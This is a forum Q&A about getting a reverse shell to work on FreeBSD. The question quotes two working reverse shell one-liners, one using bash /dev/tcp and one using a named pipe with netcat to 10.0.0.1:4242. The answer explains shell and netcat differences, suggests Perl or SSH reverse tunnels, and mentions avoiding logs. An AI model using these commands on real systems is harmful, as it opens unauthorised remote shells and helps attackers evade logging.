FreeBSD Reverse Shell Command Issue: Ambiguous Output Redirect Error

Question

I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command:

/bin/bash -i >& /dev/tcp/<Listener IP>/9090 0>&1

Now, I want to achieve the same on a FreeBSD system for testing purposes.

I found this website Reverse Shell Cheatsheet and saw the following command:

rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f

However, when I tried to implement it, I encountered an "Ambiguous output redirect" error. Initially, using nc <Listener IP> 9090 works successfully. Therefore, I’m looking for assistance to resolve this issue. Thank you!

Answer 1

You are confusing terminologies but more importantly: binaries.

You state in the comment that you understand the difference between the shells. But the important part is to understand that there are different implentatations (binaries). This goes for all the command line utilities you use as well. That is why the reverse shell cheatsheet has so many options so you can use the tools already installed on the system.

On FreeBSD the default sh shell is the Almquist shell. On Linux it depends on your distribution. You can read up on Difference between sh and Bash and What is the difference between ash and sh shell on Linux?

More importantly the /dev filesystem are not 100% 1:1 between Linux and FreeBSD. But your redirection using /dev/tcp is not even going through the filesystem as /dev/tcpis a bashism and only implemented in bash. See Different ways to use /dev/tcp/host/port command and where to find manual pages on this

So if you can use /dev/tcp with sh you are most likely using bash in sh mode.

Then you play around with netcat. But note there are different implementations here as well. FreeBSD has a default netcat but you might prefer to install GNU netcat which is commonly used on Linux. Then you can use familiar tools.

FreeBSD also by default comes with mkfifo and mknod which you attempt to use but fail to document how it fails.

On FreeBSD Perl is usually installed by default so that is a common route as well if you cannot install additional tools. Remember that the "reverse shell" is just an attempt to setup a TCP connection to a command-line using the tools already available on the box. This is mostly done to avoid common logs. If you do not care about that most boxes are using SSH and it is trivial to run a SSH reverse tunnel using the -R parameter.